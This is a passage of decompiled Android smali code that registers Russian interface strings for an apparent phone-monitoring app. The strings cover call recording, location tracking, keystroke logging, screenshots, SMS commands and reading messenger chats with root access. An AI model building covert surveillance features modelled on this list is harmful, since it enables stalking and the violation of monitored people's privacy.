                    582const-string v2, "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u043d\u043e \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0438\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043d\u0435\u0432\u0435\u0440\u043d\u043e."
                    584invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    586iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    587const/16 v1, 0xbe
                    589const-string v2, "\u041f\u0440\u0438 \u0443\u0434\u0430\u0447\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c?"
                    591invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    593iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    594const/16 v1, 0xbf
                    596const-string v2, "\u0414\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c SD \u043a\u0430\u0440\u0442\u0443"
                    598invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    600iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    601const/16 v1, 0xc0
                    603const-string v2, "\u0423 \u0432\u0430\u0441 \u0441\u0430\u043c\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f"
                    605invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    607iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    608const/16 v1, 0xc1
                    610const-string v2, "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b"
                    612invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    614iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    615const/16 v1, 0xc2
                    617const-string v2, "\u041c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    619invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    621iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    622const/16 v1, 0xc3
                    624const-string v2, "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c GPS \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u044d\u043a\u0440\u0430\u043d\u0435"
                    626invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    628iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    629const/16 v1, 0xc4
                    631const-string v2, "\u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u0437\u0430\u043a\u043e\u043d\u0443, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u0442\u044c \u043e \u0444\u0430\u043a\u0442\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430. \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u04
                    633invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    635iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    636const/16 v1, 0xc5
                    638const-string v2, "SIM \u043a\u0430\u0440\u0442\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u0430"
                    640invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    642iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    643const/16 v1, 0xc6
                    645const-string v2, "\u0410\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445"
                    647invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    649iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    650const/16 v1, 0xc7
                    652const-string v2, "\u0421\u041c\u0421"
                    654invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    656iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    657const/16 v1, 0xc8
                    659const-string v2, "\u0422\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u0437\u0432\u043e\u043d\u043a\u0438 (\u0444\u0430\u043a\u0442 \u0437\u0432\u043e\u043d\u043a\u0430)"
                    661invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    663iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    664const/16 v1, 0xc9
                    666const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0443,\u043a\u0430\u0436\u0434\u044b\u0435"
                    668invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    670iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    671const/16 v1, 0xca
                    673const-string v2, "\u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b,\u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435?"
                    675invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    677iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    678const/16 v1, 0xcb
                    679new-instance v2, Ljava/lang/StringBuilder;
                    681const-string v3, "\u0414\u0430\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0442\u0435\u0441\u044c \u0441 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \n"
                    683invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    685sget-object v3, Lnet/vkurhandler/cd;->b:Ljava/lang/String;
                    687invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    688move-result-object v2
                    690invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    691move-result-object v2
                    693invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    695iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    696const/16 v1, 0xcc
                    698const-string v2, "\u0412\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430"
                    700invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    702iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    703const/16 v1, 0xcf
                    705const-string v2, "\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435 (Root)"
                    707invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    709iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    710const/16 v1, 0xd0
                    712const-string v2, "\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f WhatsApp (Root)"
                    714invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    716iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    717const/16 v1, 0xd1
                    719const-string v2, "\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f Viber (Root)"
                    721invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    723iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    724const/16 v1, 0xd2
                    726const-string v2, "\u0417\u0430\u043f\u0438\u0441\u044c \u0441 \u043b\u0438\u043d\u0438\u0438, \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043b\u0443\u0447\u0448\u0435, \u0447\u0435\u043c \u0443 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430 (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0435\u0434\u0435\u0442\u0441\u044f \u0441 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430)"
                    728invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    730iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    731const/16 v1, 0xd3
                    733const-string v2, "\u0412\u0430\u0448 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432"
                    735invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    737iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    738const/16 v1, 0xd4
                    740const-string v2, "\u041a\u043e\u0434\u043e\u0432\u043e\u0435 \u0441\u043b\u043e\u0432\u043e \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0435\u0440\u0435\u0437 \u0421\u041c\u0421"
                    742invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    744iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    745const/16 v1, 0xd5
                    747const-string v2, "\u0424\u043e\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u043a\u0430\u043c\u0435\u0440\u0443"
                    749invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    751iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    752const/16 v1, 0xd7
                    754const-string v2, "\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435, \u0441\u0438\u0441\u0442\u0435\u043c\u0430(Android) \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u043d\u043e \u0432 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u0445. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u04
                    756invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    758iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    759const/16 v1, 0xd6
                    761const-string v2, "\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430"
                    763invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    765iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    766const/16 v1, 0xd8
                    768const-string v2, "\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f"
                    770invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    772iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    773const/16 v1, 0xd9
                    775const-string v2, "\u0414\u0440\u043e\u0431\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e:"
                    777invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    779iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    780const/16 v1, 0xda
                    782const-string v2, "\u043c\u0438\u043d."
                    784invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    786iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    787const/16 v1, 0xdb
                    789const-string v2, "\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u0441 \u044d\u043a\u0440\u0430\u043d\u0430 \u043f\u043e \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0443 (\u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0430\u0445,\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 5)"
                    791invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    793iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    794const/16 v1, 0xdc
                    796const-string v2, "\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u041e\u0434\u043d\u043e\u043a\u043b\u0430\u0441\u0441\u043d\u0438\u043a\u0438 (Root)"
                    798invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    800iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    801const/16 v1, 0xdd
                    803const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u043d\u043e\u0435 \u0421\u041c\u0421 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0421\u041c\u0421 \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430"
                    805invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    807iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    808const/16 v1, 0xde
                    810const-string v2, "\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043f\u043a\u0438 \u0434\u043b\u044f \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0444\u043e\u0442\u043e"
                    812invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    814iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    815const/16 v1, 0xe0
                    817const-string v2, "24 \u0447\u0430\u0441\u0430"
                    819invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    821iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    822const/16 v1, 0xdf
                    824const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM"
                    826invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    828iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    829const/16 v1, 0xe1
                    831const-string v2, "\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u044d\u043a\u0440\u0430\u043d\u0430"
                    833invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    835iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    836const/16 v1, 0xe2
                    838const-string v2, "\u0410\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044f \u043d\u0430\u0436\u0430\u0442\u0438\u0439 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b (\u041f\u0430\u0440\u043e\u043b\u0438 \u041d\u0415 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u0442!)"
                    840invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    842iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    843const/16 v1, 0xe4
                    845const-string v2, "\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e)"
                    847invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    849iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    850const/16 v1, 0xe5
                    852const-string v2, "\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430"
                    854invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    856iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    857const/16 v1, 0xe6
                    859const-string v2, "\u042f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u043b\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0432\u043e\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0438 \u044f \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u043e\u0433\u043e \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0434\u0443\u043c\u0430\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u043f\u0440\u0438\u043d\u0443\u0436\u0434\u0435\u043d\u0438\u044f"
                    861invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    863iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    864const/16 v1, 0xe7
                    866const-string v2, "\u042f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e\u0431 \u0443\u0433\u043e\u043b\u043e\u0432\u043d\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043d\u0435\u0433\u043b\u0430\u0441\u043d\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0442\u0440\u0435\u0442\u044c\u0438\u043c\u0438 \u043b\u0438\u0446\u0430\u043c\u0438"
                    868invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    870iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    871const/16 v1, 0xe8
                    873const-string v2, "\u042f \u043e\u0431\u044f\u0437\u0443\u044e\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0438\u0447\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445"
                    875invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    877iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    878const/16 v1, 0xe9
                    880const-string v2, "\u042f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u044f \u0441\u043e\u0433\u043b\u0430\u0448\u0430\u044e\u0441\u044c \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0443\u043d\u043a\u0442\u0430\u043c\u0438"
                    882invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    884iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    885const/16 v1, 0xeb
                    887const-string v2, "\u042f \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0445\u043e\u0447\u0443 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442"
                    889invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    891iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    892const/16 v1, 0xec
                    894const-string v2, "\u041a\u0430\u043a \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f?"
                    896invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    898iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    899const/16 v1, 0xef
                    901const-string v2, "\u0412\u0430\u0448 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438"
                    903invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    905iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    906const/16 v1, 0xed
                    907new-instance v2, Ljava/lang/StringBuilder;
